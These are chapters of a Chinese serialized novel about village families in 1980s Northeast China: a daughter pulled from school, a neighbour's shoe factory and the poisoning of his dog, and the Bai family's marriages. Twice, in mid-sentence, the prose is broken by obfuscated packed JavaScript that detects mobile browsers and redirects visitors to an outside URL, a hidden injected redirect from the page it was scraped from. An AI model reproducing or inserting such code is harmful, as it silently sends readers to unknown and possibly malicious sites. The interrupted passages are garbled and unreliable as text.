“爸,这是俺们数学老师田小军。” 耿长富挺了挺肚子,把头发往后捋了捋,今早起得着忙,他还没来得及打摩丝,但是赶紧拿起来做生意的派头,主动伸出手去。 田小军细胳膊细腿的,跟耿长富不是一个体量,差点被拽个趔趄。 “叔叔好,我今天来,是想劝宝香回去上学,你看……” 田小军没再往下说,他得先探探家长的口风。 耿长富听见他叫叔叔,心下先不悦起来,搞得这个老师和他家孩子成一辈的了,就好像是女婿第一次登门似的。 而且这个老师长得也很让他讨厌,白净脸,高鼻梁,黑白分明的眼仁透露着120分的真诚;白衬衫,牛仔裤,蓬松的偏分头,不像是老师,倒像是秀雅屋里贴的那些个小白脸男明星。 自打秀雅跟个小白脸跑了,他一口气把那些个勾魂的画报都撕了。那次他发现宝香的屋里也贴上了画报,让他给扔炉子里烧了,宝香为此跟他大哭大闹。他规定,以后家里都不许再出现这些个下三流的东西,宝香当即跟他大吼“那你还跟一帮女的搞破鞋,你不是更下流?”,他一个巴掌呼女儿脸上了,从此以后,父女俩就僵了,她再没在他面前掉过一滴眼泪。 如今可倒好,这样的人物,从画里头走出来,活生生地就站在他姑娘身旁。 从宝香不自然的神态,他就知道,他姑娘的魂早被这么个人物勾走了。 还好,是他姑娘自己说不上学的,这要是天天见面,还不一定整出什么幺蛾子。 想到这里,耿长富说道: “哦,孩子家来跟我说了,她自己学着也吃力……再说……” 没等他把话说完,田小军急切地说道: “叔叔,不是的,宝香学的很好,虽然语文可能稍微差点,但是她数学学的真的很不错,上课听得非常认真,她是一个学理科的好苗子。” 耿长富话没说完,就被打断了,本来就不高兴,又听说他姑娘数学课认真听讲,脑海里,浮现的是宝香含情脉脉的傻样儿。 心下想到,啥妈生啥姑娘,都稀罕这嘴上没毛的小白脸,呸! “啊,是吗,嗨,是这么回事,我吧,现在不是做着买卖吗,正需要个会计帮我算算账,找合适人吧不好找,宝香数学好,不就正好了吗。是我不让她念的,够用得呗,一个姑娘家家的,学的再多有啥用,到最后不还是帮我算算账吗!” 耿长富说道。 宝香瞪大了眼睛,瞅着跟昨天完全两幅面孔的爸爸。其实,她本来都要被田老师说动心了,合计她爸也不让她退学,要不要再去念,但是如今,她倒搞不懂自己该听谁的了! 耿长富看着田小军灰溜溜地走了,心里有一种打了胜仗的喜悦感。 他没办法让媳妇身边的小白脸消失,但是他可以让姑娘身边的小白脸消失! 就这么的,宝香就帮着她爸打点起买卖来。有这么个人也行,耿长富没啥文化,有时候连合同都看不明白,写货单、查库存,定期拢账,宝香倒也整的明明白白。 耿长富的生意越发正规壮大起来。 看着宝香辍学在家,不少老娘们红了眼睛,对着自家丈夫说道: “你看看人家老耿家,秀雅跑了,人家耿长富的买卖照样干得红红火火,人家姑娘上学学那些玩意,人家也派上用场了。” 她丈夫不屑地说道: “咋的,你稀罕人家,你贴去呗,耿长富也不差你这一个了,关键你也不撒泡尿照照自个,人家看上看不上你还两说呢!” 这女人气得脸通红,带着哭腔说道: “呸,我说的是这个意思吗?我说的是人家宝香的爹有能耐,人家姑娘不上学在家,能帮她爹挣钱,你这个熊样儿的,咱家闺女在家,跟着你喝西北风啊!” …… 少不了,两口子又是一顿吵。 和耿长富形成鲜明对比的,是金光耀。 作为村里第一个开上大货车的人来说,本来他才是“万元户”跑道上的那个最佳人选,但是那次金老三造成的事故,直接把他从“个体户”打回了老农民的原形。 曾经滴酒不沾,一根烟不抽的金光耀,不出两年就成了抽上旱烟的大烟枪,顿顿灌酒,胡子拉碴,颓败得不行。 每次喝完酒,金光耀都得对着镜子,拍拍肚皮,骂道: “他妈的,人家咋喝出来的啤酒肚,我特么这么喝都出不来,那得装多少好贺儿才能鼓起来……不过,我特么要它也没用,我一个种地的,有了它,都看不清地上几根垄了,倒耽误事儿……” 钱是个神奇的东西,没有了它,男人的腰板也不直溜了,对自己也没信心了,开始疑神疑鬼起来。 耿长富家和白小双家的厕所挨着,都在后园子紧里头,有时恰巧,同时从厕所出来就碰到了; 或是耿长富上厕所出来,正巧碰到白小双在后园子摘菜或者拔草,抬头不见低头见的,总得打声招呼吧! 这种对话,无非就是: “拔草呢!今年雨水不多啊,我看地都有点旱了!” “可不咋的,你咋说了呢,我合计让孩子爸搁这块儿打口井来着,省着浇地费劲。” “嗨,你可别让他费那个劲,打个井工程太大了,再说赶上明年又涝了,打也是白打,我前段时间出门买回来一个水泵,从河里抽水,可方便了,你让你家老金上俺家取去,俺家我爸浇完了!” “哎呦,那感情好啊,行,我回头让孩子爸借过来用用。你这还啥前出门啊,怪忙的哈?” …… 恰巧,金光耀刚睡完午觉,从炕上爬起来,到外屋地水缸边上,拿起瓢舀上一瓢水喝,喝着喝着,从水舀子(瓢)边上,瞥见白小双蹲在障子边上,正和另一边的耿长富唠着磕呢! 他走到窗户边上,听见白小双的大檐帽下,冒出来几声爽朗的笑声,笑得金光耀心都要炸了。 他隔着多老远,“啪”的一下,把水舀子像投篮一样扔进了水缸里。他爬上后窗台,顺势就要跳到后园子去,可刚搭上脚,又退了回来。 他像个暗中观察的侦探,躲在墙垛子后边,偷听地里那俩人说啥。 赶上来股风,能飘进来几句耿长富说的话,他家白小双自来也不是啥大嗓子门子,完全听不清她在说啥,那温柔的小嗓音听得他心里直冒火。 “哎,行,等他睡醒了,让他去一趟,搁屋睡晌午觉呢!” 白小双最后这句话,声音抬高了八度,他听得明明白白,心里头翻江倒海的。 和白小双对话的这个人,但凡是个别人,他金光耀想都不带想的,偏偏是耿长富。 他这心就跟喝了油似的难受。 等到白小双进了屋,乐滋滋地跟金光耀说: “哎,你说咱不是正愁这两天地旱得有点邪乎么,刚才碰见下院老耿了,他说他买了水泵了,从河里抽水老快了,让你去取去呢,你赶紧套上个衣服借过来去,收拾收拾,胡子拉碴的,头发都睡翘翘了。” 白小双说着,伸手去压金光耀头上那一戳毛,不曾想,被丈夫一把给推开了。 她这才注意到他满脸的不高兴。 “哎,我说你这人咋回事儿,人家借咱东西,咋还跟人家欠你钱似的!” 金光耀没好气地说道: “你瞅我胡子拉碴,枪毛.枪.刺,我就这样,不爱瞅,瞅别个溜光水滑的去!” 说着,金光耀扛起扁担和水稍(水桶)就出门了。 白小双隔着窗户喊道: “哎,我说,你这个人,睡晌午觉睡迷了咋的,咋好赖话不懂呢……那白菜苗可要旱死了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718187|173821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我告诉你,旱死了,冬天前儿,我看你搁啥腌酸菜?” 金光耀像没听着似的,头也不回地往后园子走去。 他宁可一水稍一水稍的从河里挑水,也不稀得用下院那新鲜玩意,搞得好像他买不起似的。 不过他也确实买不起! 金光耀把一腔的郁闷和怒火,都随着酒,吞进肚子里了。 俗话说,借酒消愁愁更愁。 金光耀酒没少喝,心里却越发愁闷了。 更加郁闷的是,他没喝出来人家耿长富的啤酒肚,倒把自己喝出了胃溃疡。 住了一个多礼拜的医院,一顿折腾,总算是捡半条命回来。 从那以后,他又变回了那个烟酒不沾的文化人,没事在家看看从部队带回来的《孙子兵法》、《周易八卦》啥的,就好像随时准备出征打仗一样,灌了一肚子的计谋,心态渐渐放平了。 要是儿子金山写作业时,嫌弃下院跳迪斯科动静太大,气得往那边扔了一颗石头子,金光耀知道了,他会像一个老谋深算的智者一样,对儿子说道: “儿子,你知道不,他们蹦跶不了多久了,你知道啥叫‘亢龙有悔’不?啥又叫‘潜龙勿用’不?” 金山瞪着大眼睛,迷惑地摇摇头。 金光耀从泛黄的书本上,抬起平静无波的双眼,并不看着儿子,而是看向45度角的半空中,似乎见到了神祇一般地说道: “他耿长富现在就是‘亢龙有悔’,我金光耀现在就是‘潜龙勿用’,你老爹我早晚有‘飞龙在天’的时候!” 金山满耳朵就听他爸说什么龙什么龙了的,但是乾隆(潜龙)他倒是知道,想到这,他眼睛一亮,兴奋地说道: “爸,我听潘大刚他姥爷说的,咱家以前是乾隆皇帝的亲戚,你说你是乾隆啥来着,看来是真的吧?” 金光耀把思绪从遥远的虚空抽了回来,一巴掌拍儿子后脑勺上,生气地说道: “别听那些没用的了,赶紧写你作业吧,一写作业就这事儿那事儿的,在这些没有用的事儿上,你记性倒挺好,有这心思都给我用在学习上。” 这功夫,下院的音乐声也停了,传来的是夹杂着各种刺耳笑声的人声。金山知道,上半场的迪斯科结束了,现在是中场休息,随着夜色的渐渐深沉,即将进行的是双人舞环节。 作为金山最忠实的小跟班耿宝亮跟他说过,他最喜欢看双人舞了,俩大人像小孩子似的,抱到一起,但是他们不摔跤,就只是在那晃啊晃的,晃的月亮都跟着晃动起来。 往往这个时候,就是孩子们的睡觉时间了。 黑漆漆的夜色中,流淌着若有若无的,带着颤音的妩媚女人的歌声,似乎像一个多情的女人,在向你倾诉着相思。 金秋最不喜欢这样的歌声,她喜欢欢快的儿歌,什么“太阳光,金亮亮,喜鹊唱三唱……”,什么“太阳当空照,花儿对我笑……”之类的,总之只要一唱上,立刻就手舞足蹈起来; 就是温柔的歌,她也只喜欢唱《世上只有妈妈好》,那会让她想起白小双,总之心里还是高兴的。 但是下院老耿家放的那些个歌,她听着害怕,只会让她想起来《西游记》里的那些拖着长尾音,不好好说话的妖精们,似乎下一刻就要变成骷髅,把人给吃喽。 所以,当金秋问下院的宝琴姐,晚上睡觉怕不怕时,令她意外的是,宝琴竟然说,那些歌好听! “一看你就不懂了,人家那是城里最流行的歌曲呢,我爸买回来的磁带都是新出的,我最喜欢听《痴情不改》了,多好听啊!” 金山在旁边说道: “得了吧,我听着鬼哭狼嚎的,我爸说,男女授受不亲,搂搂抱抱成何体统!” “土老帽,人家那是慢四交谊舞,还有一种欢快的恰恰双人舞,那跳起来才好看呢!” 宝琴说着,就要拉金山跳一段,金山说啥不干,但是最后总是拗不过,被拽着僵硬地挪动着脚步,给其他小伙伴们逗得哈哈大笑。 9. 80年代 金光耀这条“潜龙”,是因为白小双才“飞上天的”! 有一天,白小双带着一双儿女从娘家回来,突然对金光耀说起邻村老迟家的买卖。 “听说院里有十多个工人,机器每天都嗡嗡响,皮料堆了一仓库,竟然自己能做出皮鞋来。” 听到这话,早就做够了老农民的金光耀,又活心儿了。 “要不咱们也开个鞋厂?守家在地,不用像开货车时到处跑,倒是个不错的买卖!” 军人雷厉风行的态度,体现在金光耀生活的方方面面,包括教育孩子上。虽然他对女儿宠爱有加,可对儿子金山严厉无比,走路姿势太垮,那就在院里走上五十圈,毛笔字写得歪歪扭扭,那就写完五十篇再吃饭。金山甚至一度怀疑,自己是不是捡来的。 在做事儿上,金光耀更是毫不含糊,说干就干,自己家大房子大院,正好闲着也是闲着,别说十多个工人,就是五十个工人也都装的下。 咋也是把《孙子兵法》参透了的人,装了一肚子墨水,正是到了用的时节。 他先是去老迟家取经,迟老大是个大度的人,也听说过金老二的为人,俩人儿几顿酒下来,就开始称兄道弟上了。 金光耀把三开门的大瓦房分成两部分,家人走最右边门,三个房间用来生活,其它七间屋都用来做鞋厂,分仓库间,工作间,烘烤间。他又借了一部分钱,把家底儿都掏空了,购置了缝纫机、打磨机、喷漆泵等机器,皮料、鞋楦、鞋带、鞋盒……这些做鞋需要用的,大大小小的材料,一应俱全,全都置办明白的。 他又去税务局登记了个体户营业执照,鞋厂取名“双耀鞋厂”,白小双和金光耀拿到执照那天晚上,挂在墙上,左端详右端详,激动地夜不能寐。 金光耀搂着白小双说: “看来啊,咱俩就是开鞋厂的命,你看啊,你名字里就带双,这不正好是一双鞋的双吗?你说咱之前咋就没合计呢!你再看我这个耀,哪双皮鞋不是黝黑锃亮的?咱俩这鞋厂名,就是天作之合,每一双鞋都闪耀,哎呀……这就是命,咱俩这名字里啊,都带着呢!” 农村里的消息总是流通得很快。 金光耀要开皮鞋厂的事儿传遍了十里八村,在当时还以穿千层底儿布鞋为主的村民们来说,金光耀做的这件事,不亚于把火箭送上天的难度! 人家老迟家不一样,迟老大早些年在温州鞋厂打过工,人家那是见过大世面的人,回乡创业,人家身上带着技术呢,他把技术传给哥兄弟几个,又带出一批徒弟,那是个厉害人物。 就连下院耿长富都觉得玄乎,自己那双三接头的方头大皮鞋,也叫“干部鞋”,那可是在城里的大商场里,花了好几十元买的。 金光耀一个老农民,一个开大货车的粗人,自己都没穿过皮鞋,还能做了皮鞋那细致玩意? 四五队的人都持怀疑态度,等着看他的好戏呢! 等着金光耀从天上掉下来,啃一嘴泥,然后又接着跟他们一样,一辈子只能当个农民! 不过金光耀这上半辈子,确实干啥啥失败。跟白小双刚结婚那阵子,养兔子,一窝兔子都得病死了; 养鸭子,让人也给骗了。花大价钱,买回来300来只英国康贝尔鸭,果然外国种,长得都跟土鸭不一样,绿蓝色的喙,青铜色的背,浑身上下代表着高贵。 金光耀和白小双,那金贵的,下雨了,恨不得给英国鸭子们都打上伞,生怕浇感冒了。没曾想,好不容易等到该下蛋的年龄了,却干等没个动静,找着懂行的过来一看,好家伙,300来只鸭子,一个母的都没有,鸭蛋没下上,鸭崽儿更没影了,满院子都拉得鸭粑粑,天天“嘎嘎”地叫,公鸭们又贼能上食,最后只能赔钱卖了; 听人家说种贝母好,中草药值钱,苞米都不种了,地里全种上贝母,结果那年连着下了俩月的雨,愣是赔个血本全无。后来,他家的地里还时不时会冒出个贝母苗,开着金秋从来没见过的紫色小花,等她把这种小花采回家去,金光耀和白小双都不敢回想那时的惨况; 再后来,听说蒜苔价格要涨,金光耀跑到省外,拉回来一车又嫩又新鲜的蒜苔,可当白小双刚在大道边上吆喝没两天,别人也拉来一车,到最后,赔本都卖不完,只得拉回家去,天天吃蒜苔,炒着吃,腌着吃,拌着吃,一直吃到金山和金秋都吃吐了,还都没吃完。 …… 其实,就是金光耀和白小双心里也没底,这次要再失败,恐怕连农民都做不回去了,外面欠的钱,现在住的这个大瓦房都抵不过。 那段日子,金光耀天天顶着两个黑眼圈忙这忙那。鞋厂的厂房、机械、鞋料都准备好了,可最难搞的就是工人。 附近会做鞋的工人太少,还好迟老大把他的工人们带出来的徒弟,介绍给金光耀,这属于“二代徒弟”了。至于他自己亲自带出来的“大徒弟”,那可是“宝贝”一样的存在,迟老大是断不肯借出去的。 就是这“二代的徒弟”,工资也贵的咋舌,可金光耀愣是给请家去了,他就是咬着牙也要做出一双皮鞋来。 因为鞋料里只有皮料最贵,而一双鞋的好坏主要取决于皮料,所以如何精准的裁剪皮料,又省料,又能用在恰到好处的地方,裁剪皮料这个人,必须是个非常靠谱的人。 白小双从来都是个要强的女人,她亲自摸索着观察一张皮子哪个地方适合做鞋面,哪一块儿适合做鞋帮。 鞋厂开业的那一天,金光耀让儿子过瘾得放了一万响的鞭炮。 四五队的上空,从那天起,响起了机器的轰鸣声。 白小双扎上自己刺绣的月季花图案的小围裙,用一小块纱布包上白面扎紧,拿出一张闪着黝黑光泽的牛皮,照着纸板剪成的鞋样,在皮子上面精细的扑着粉。拿走鞋样,循着粉的印记,用剪刀小心翼翼地剪下做鞋面用的皮料。 皮料剪好后,经过刀片、胶粘、缝纫,下一步就是送到钉鞋楦的工人手里。他们因为常年钉钉子,手指尖缠着布,拈起一颗细小的钉子,把皮料小心翼翼地钉在木头鞋楦上,紧了,皮子会有裂口,松了,鞋又没型,这是个纯技术工种,所以工资会比别的工人高一些。 但因为这个工种太辛苦,把手指头磨出血或者钉子扎到手,再不锤着锤着,一不留神,锤自己手指头上的情况太常见了,所以学的人很少。金光耀找的这个女工,是他坐着矿上的小火车去三井,从别的厂子给挖过来的,当然工资肯定不能少。 鞋楦订好后,就是粘底了,把钉子都拔掉,抹上胶,粘上鞋底后用锤子敲打,而后放到烘烤间里,拿出来后再把鞋楦拔出,一双皮鞋就基本成型了。 最后一步,是金光耀的事了。他把抛光机打开,伴随着机器的嗡嗡声,向皮鞋上喷黑亮黑亮的漆,一双闪亮闪亮的皮鞋终于做成了。 金光耀虽然没像白小双似的,激动地流下眼泪,可当他拿到第一双鞋时,常年干农活,布满老茧的一双手,还是不受控制地颤抖个不停。 他捧着那一双黑皮鞋,像捧着啥宝贝疙瘩似的,端详来端详去,一会儿看看鞋面的漆喷得是否均匀,一会儿又扒一扒底儿,看粘的是否牢靠。 双耀鞋厂的鞋很受欢迎,结实耐穿是最大的特点。 除了村民们自己过来买之外,如何把鞋往出推销,也成了金光耀最头疼的事。 为了能建立稳定的客户群,金光耀用编织袋装上鞋,背着去附近各个县市镇推销。就这样,渐渐地回头客越来越多,甚至商场里的柜台都来他家进货。 金光耀的买卖也越做越大。 东北俗语说:“人怕出名,猪怕壮”。 金光耀之前盖的龙凤庭院已经让大家眼红得不得了,如今在自家院里又开起了鞋厂,干得红红火火,机器轰隆隆地响,任是谁的眼睛也都要喷火了。 过不多久,金秋最喜欢的大黑狗“大黑”便惨遭了毒手。大黑浑身一袭黑毛,两眼也黑亮黑亮的,因为它略通人性,只对陌生人狂吠,对自家人如绵羊般温顺,所以从来不给它栓绳。 大黑每天都如同门神一般守护着金光耀的家。 金光耀有时坐火车去外省进鞋料,大黑都会一路护送他到火车站,再自己跑五公里的路回来。虽然没有人让它这样做,可它就像知道一样,每次看到主人背起大包出门,它都紧紧跟在后面。 更神奇的是,有几次,金光耀扛着鞋料刚下火车,就看到大黑如一道黑色闪电一般,出现在他面前,尾巴摇得像拨浪鼓。 在电话还不普及的年代,就连白小双都不知道金光耀什么时候回来,没人知道大黑是如何判断出主人回来的时间的,还是说它天天去站台守候,至今无人知晓。 一天黑夜,金光耀一家睡得正香,只听得大黑叫了几声,就突然没声了,等金光耀拿着电棒出来,才发现大黑已经被药死了。 虽然鞋厂没丢什么东西,可金光耀知道自己家是被贼盯上了。 金山兄妹俩哭了一大通,把大黑葬在了后园子里,还没等缓过劲儿,他们的爸爸就又买回来一只大黑,虽然不再是先前聪明、温顺的大黑,也不会再接送主人坐火车,但外表竟也没差别,略略地安慰了一家人的心。 这事儿是谁干的,其实金光耀心知肚明。 俗话说,龙生龙,凤生凤,老鼠的儿子会打洞。 跟金光耀家一趟街(读gāi)的,最后面那家张老三,一家子哥四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但是金光耀却并没有立刻去找张老三算账,而是先埋怨起白小双来。 “你说说你,一个鸡下双黄蛋这么个屁大点的事儿,你也可哪宣扬,宣扬来宣扬去,倒给你连窝端了吧!” 白小双就只是哭,她不光是舍不得那些下双黄蛋的鸡,最主要是那鸡笼子,咋也是她四哥送给她的嫁妆。 金光耀叹口气接着说道: “我早跟你说过,这帮人啊,尤其是那些没文化的村里那些老娘们,她们见不得别人一点好,那鸡下双黄蛋,你就自己搁家偷摸吃呗,可哪宣扬,哎呀,就生怕别人不知道,你白会计不但模样长得俊,有文化,养鸡都养得跟别个不同了。” “这现在咋办,老张家从老的到小的,那一大家子没有不偷的,谁不知道?你说我去人家找去,咋找,你那鸡再下双黄蛋,搁人家鸡窝里,上哪区分去,我也不能挨个把鸡拎起来,挨个鸡屁股瞅吧,再说我就是瞅我也瞅不出来啊!” 白小双抹把眼泪说道: “我那鸡不要了行,你去把鸡笼子给我要回来,那咋是我四哥特意给我打的,费了多大力气在里头!” “哎呦,我说你啊,咋就不明白呢,这前后院住着,乡里乡亲的,我咋去要去?西头老刘养了两三年的猪,一直没舍得杀,那不前段时间丢了!谁心里不明净的,咋去要去,人家也有那能耐,给你悄默声地整走了,你不也得受着啊!再说你那点儿鸡跟人家那猪没得比,咱去要啥?” 白小双气得,噘着嘴,说道: “这还没王法了呢,不行,我报案去。” 金光耀把她搂过来,笑着说道: “哎呦呦,你看你上天得了!哎呀,就几个鸡,再说我也正好嫌乎那鸡拉得可院子粑粑,没了就没了吧,他们那人家,咱可惹不起,人家在村里也就是干点小偷小摸,人家主要在城里,那干得大。” 白小双挣脱开丈夫,生气地说: “不行,鸡,我肯定还是要养的,你要不让我养,我就找他去,咱家鸡长啥样,我都记得,我不信张老三媳妇不承认。” “得得,你养,只要你把这事儿翻篇,你就是养天鹅都行。”金光耀说。 所以,那张老三啥样儿,金光耀心里明白。这是看他家业大了,早就合计来探探路了,只是一直惧服着家里的大黑。 他也不知道,接下来家里还会遭遇到什么稀奇事儿。 想想也是,就连他家有下双黄蛋的鸡都不好使,他现在开上了鞋厂,做上了大老板,那还好使,就怪了! 10. 白家(一) 以前农村找对象,除了看个人条件、经济条件,家族规模也得相符才行。 金老爷子五儿二女,老白家也是五儿二女,金老爷子是村长,白老爷子也当过村长,他们两家是真正的“门当户对”。 白家在腰堡村也算大户,虽然白老大和大姑娘,都留在东北南面沿海老家了,可后过来发展的这5个孩子都过得不赖。 白家世代务农,赶上了好时候,根正苗红的白老二,早早就当上了小领导,要不是因为他来腰堡村就职,他们白家兄妹也不至于被分成两部分,一南一北,遥遥相望。 刚开始,白老爷子想着,来北面呆几年,等着二儿子工作调回去,他们再带着孩子们回去。 可是,白老二官运不断,后来又在市里钢厂当上了质检干部,很快娶妻生子。在二哥的帮扶下,白老三和老四也在腰堡村盖下两栋挨着的大瓦房,共用一个大院。白小双随后也嫁到了金家,白家就这样在他乡开枝散叶,扎下根基。 为此,在南面等着老爷子回去的大儿子和大姑娘,不免心生怨言。 白老大早就在南面打下一片天地了,赶上经济发展,各地都在搞建设,他当上了包工头子。钱没少挣,就是媳妇的肚子不争气,生了6个姑娘,愣是整不出一个带把的。因为这,他没少生气喝闷酒,喝上酒,手里又有几个钱,难免不在外面勾三搭四的。 因为这,两口子天天干仗,白小双的这个大嫂不像金老大媳妇似的,会农村妇女撒泼打滚那一套,她遇着事了,只管憋着偷偷哭,所以久而久之,竟积下病来。 白老爷子坐着火车来回跑了几趟,实在疲于奔命,总算是儿子在他面前赌咒发誓,不至于做出那丢人的离婚那档子事,他才放下心,回北面去了。 白小双在白家七个孩子里排行老幺,生她时白老太太都40了。白小双出生没两年,白大双就到了找婆家的年龄。 仗着当时白老爷子村长的身份,他给女儿找了门好亲事。村里出名的瞎子老尹家,三个姑娘一个儿子,虽说现在家里过得不算富裕,但是白老爷子当时就看上他家了。 这其中有这么个缘故,尹老头年轻时本来是不瞎的,家里也不穷,祖上世代为官,他小小年纪,四书五经背得滚瓜烂熟,人长得俊,又有才华,后来成了村里唯一的秀才,婚配自然也是大户人家的小姐。 天上的日头一年到头,没有一天不是升起又落下的;到了夜晚,那月亮就明晃晃地照耀在大地上了。 别说是地上的小老百姓,就是坐在紧上头的“万万岁”的皇上,也不会料到,这天上的东西几千几万年了都不变一下,咋这地上的日子说变就变呢! 再后来,这时代的潮水越涌越大,谁也看不出个头绪出来。尹家虽然没落了,但咋也是地主,官家靠不住,靠着这土地总是没错的,他依旧过着读诗背书的生活。 等到了儿子该找媳妇的时候,尹老爷子阻止了老太太找大小姐的那一套老方法,另辟蹊径,与汉族村长老白家联上姻了。 因为这,白大双作为世代农民的女儿,婚后没少受大小姐出身的,小脚婆婆的气,当然那是后话了。 尹老太太觉得丈夫读书读傻了,骂他: “完喽,我看你啊,早晚把你家祖宗这点儿阴德都败坏光喽!咋到了咱这下一代,还整上杂种的了啊?你不说找个大小姐也就算了,家里娇惯,怕咱儿子受罪,那咋也得找个满族的吧,咱们咋还混上,跟那些个汉人农民通上婚了?要是咱爹还活着,不得被你气死!” 她拿着手绢子,哭天抹泪的,跑到祖宗牌位前哭去。 “爹啊,您在天有灵,看看你那不孝的儿子,给你唯一的大孙子找了个汉人农民家的姑娘,咱家到他这一代是被他给毁了,爹啊,你说这可咋办啊……” 尹老头子就着媳妇的哭声,捧起一本书接着读了起来,反正聘礼也下了,就等着过门了。任她求天王老子,儿子的婚事他是说定了! 原来这尹老头子年轻时,书看得多,也看得杂,家里头藏书也不老少,他不知道啥时候钻到命理那些书上去了。 刚开始他只是看看《易经》,到后来《水镜神相》、《子平真诠》、《滴天髓》、《神峰通考》、《星学大成》……这些书竟然看得着了道,外加上他本来就聪慧,竟然有点通了的意思。 太极阴阳八卦图,他随手就能画出来,掐着手指,嘴里念念有词,什么子丑寅卯的,倒比那外面游走的江湖算命先生,更像是那么回事儿! 晚上,他还会在院子里看星象,手上比比划划的,搞得玄乎其玄。 这不儿子说媳妇这事儿,就是他算出来的。他刚走上这条道,总是要先拿身边人当试验品的。 但是尹老太太万万没想到的是,儿子这样的婚姻大事,竟然能被老爷子当做儿戏似的,捏着两下手指头,就给定下了! 她哭啊,哭了三天三夜,也没动得了老爷子的心。 她心里合计,这下算是完了,家业渐渐败落不说,老头子又整上那江湖骗子的玩意,她算是没法活了。 她正寻死觅活的,老爷子走过来却说了一句: “不用整那些个没用的,你的阳寿还早着呢,等着抱孙子吧,一天天就知道作,你小姐咋的,比人家农民姑娘多个胳膊,多个腿儿啊?人家起码没你们这些个臭脾气!” 老太太正哭着呢,听她丈夫又整什么阳寿那些算命的那一套,差点气噎过去! 原来尹老爷子早早就拿儿子的生辰八字,算得明明白白了,他一个富贵人家的书生,咋可能甘心给儿子找个大字儿不识的农村姑娘,再说还是个汉人。 但是他窝在书房里,算了九九八十一天,任是金丹都要炼成了,但是儿子的命说啥就变不成了!他不是没找过破解的办法,但是无济于事。 满族的没落,他早就算出来了,气数已尽,无力回天。就像海水潮起潮落,那是天上月亮管的事儿,他一介草莽,顶多算作大海中的一条小船,随着大海潮起潮落而已,只要能保证他这个小家不翻船,就是他的造化了! 所以,当他寻觅着农村姑娘时,村长老白家的大姑娘成了他的首选,偷偷地要来她的生辰八字,竟然八分合,所以当下下了聘礼,就给送到白家了。 白老爷子为人正直,虽然没啥文化,但一直仰慕有文化的老尹家,这天上掉馅饼的事儿,可把他乐得够呛。 就这么着,农民姑娘白大双身穿龙凤长衫,头顶镶着珠宝的旗头,脚踏精致的花盆鞋,盖着大红盖头,坐着花轿,一路吹奏来到尹家。她用一双尹老太太看都不敢的大脚,踏红毡、跨火盆儿、迈马鞍、踩高粱上炕,和地主的儿子尹世宗拜了天地,入了洞房。 尹老太太再生气,也是于事无补了,只能是在平时的生活上,没事儿刁难刁难这个新媳妇。 白小双小时候最喜欢去姐姐家,光是墙上那幅官老爷的画像,她就能瞅上半天。画上的人,穿着花纹奇特的长袍,留着羊尾须,脖子上套着一个长长的红色珠链,红顶的帽子上,插着个花翎,像是她家里养的那只老母鸡,花里胡哨的。 虽然姐姐还是那个姐姐,但是到了姐姐的屋子里,她就不敢乱动、乱跑了,因为画上的那人虽然穿得奇形怪状的,但是表情却是像石头块子一样冰冷、无情的,她总感觉他在盯着她,所以很是拘谨。 虽然她早就看到炕沿柜上,摆着的那一排各种颜色的瓷瓶子里,插着各种好看好玩的东西。但也只是远远地看着,不敢去摸。 那瓶子里,有一大簇的孔雀尾巴,有金丝绞成的一枝,上面挂着圆圆的红石头。姐姐说那是南方才有的柿子,白小双想到的是地里结的大红柿子,反正也是红的,看着怪好看的;还有那不知道用什么布做成的,像是天山的云层一样的,大朵大朵的粉白花,和红石头放在一起,漂亮极了。姐姐说,那是百合花,柿子和百合放在一起,寓意是“百事如意”。 白小双又指着另外的一簇三个角的,像是羊头样子的粉色布艺花,问道: “这又是啥花,我见都没见过?” 姐姐又告诉她,那是兰花,旁边那一簇开着小小花朵的是桂花。说完,她就不说话了。 等着姐姐说寓意的白小双,忍不住问道: “那它们两个插在一个瓶子里,又是什么意思?” 白大双脸一红,说道:“没啥意思。” 白小双不干,她一看她姐偷摸地笑了,一定有话瞒着她,摇着姐姐的胳膊就开始撒起娇来: “姐姐快告诉我么,快告诉我!” 白大双还是抿着嘴光笑。 白小双生气地说道: “哼,我就知道你们都瞒着我,你结婚前,我看到炕上撒满了大枣、花生、桂圆和莲子,娘说啥不让我吃,说那是让你‘早生贵子’的,我那前才知道,原来这些个东西都是有讲究的,现在你又不告诉我了,哼……” 白大双听着妹妹一生气,满嘴胡咧咧起来,赶紧把妹妹的嘴捂上了,瞅瞅窗户外头,刮了一下妹妹的鼻头,说道: “别啥都往出说,当心让别人听去!” 白小双眼珠子提溜一转,笑道: “那你跟我说,兰花和桂花放一起啥意思?” 白大双只得说道: “哎呀,就你一天喜欢问这问那,那是‘兰桂齐芳’,说了你也不懂!” 白小双一听这文绉绉的词儿,心里不高兴起来,说道: “整半天是这么个意思,那你还掖着藏着的,这也没啥啊,不行,这是啥意思,你得告诉我!” 白大双哄着妹妹转移注意力,给她拿出来两个,磨得锃亮的,一对小羊嘎(嘎拉哈,一种动物骨头做成的玩具)。 白小双眼睛一亮,高兴地一把抓过去,揣到了兜里。 可是她还忘不了“兰桂齐芳”,追着姐姐问,她生气地说道: “哼,你要是不跟我说,我这就去找大伯伯去,他知道的可比你多多了!” “哎,你给我站住。” 白大双一把拽住妹妹,她公公虽然很喜欢她的这个小妹妹,但是这事儿要是拿过去问,那她以后可就没法抬头了。 她把她抱到炕上,贴着她耳边说道: “那个词儿啊,是说给你未来的小外甥说的,希望他们升官发财,像你大伯伯似的,考上秀才!” 白小双笑道: “我的外甥在哪儿呢?我想和他们一起玩!” “傻瓜,在我肚子里呢呗,小笨蛋。” …… 姐俩嘻嘻哈哈地,滚到了一起。 